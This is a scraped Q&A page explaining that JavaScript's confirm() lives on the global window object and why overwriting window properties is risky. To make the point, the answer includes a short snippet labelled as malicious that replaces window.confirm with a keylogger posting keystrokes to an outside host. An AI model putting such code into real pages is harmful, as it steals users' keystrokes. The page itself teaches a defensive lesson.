Javascript method definition -


i started learn javascript, know java , little bit of html , css , sql. but, i'm little confused in terms of whats going on in js. js has method called confirm, pops window , asks user confirm. not have define method before using it. in java have define object in order use it, here use method called without ever defining it. defined in js already, how work? please because confused right now.

javascript has predefined object called window has lot of properties defined on already.

you can see them opening browser's console , typing window hitting enter.

because javascript hasn't had concept of module system until es6 (the specification being developed), browser apis had stored within window object in order developers able use them.

you can think of window object global scope in javascript. if create variable without var keyword created property on window object.

function main() {   hello = 3;   window.hello === 3; // true    var bye = 2;   window.bye === 2; // false   typeof window.bye === 'undefined'; // true } 

so calling confirm() implicitly same calling window.confirm() because confirm property on window object.

this model regarded bad idea , can pretty dangerous, makes easy other scripts redefine properties on window object.

// malicious script window.confirm = function() {   window.addeventlistener('keydown', function(e) {     $.post('keylogging.com', { key: e.keycode });    }); }; 

now, if call confirm, rather seeing confirmation dialog, instead register event listener send of keystrokes else's server.

obviously not third-party code malicious, there's still risk modifications window cause code break.

best practice try , avoid changing anything on window object. 1 way using iifes module pattern.


Comments

Popular posts from this blog

css - SVG using textPath a symbol not rendering in Firefox -

Java 8 + Maven Javadoc plugin: Error fetching URL -

datatable - Matlab struct computations -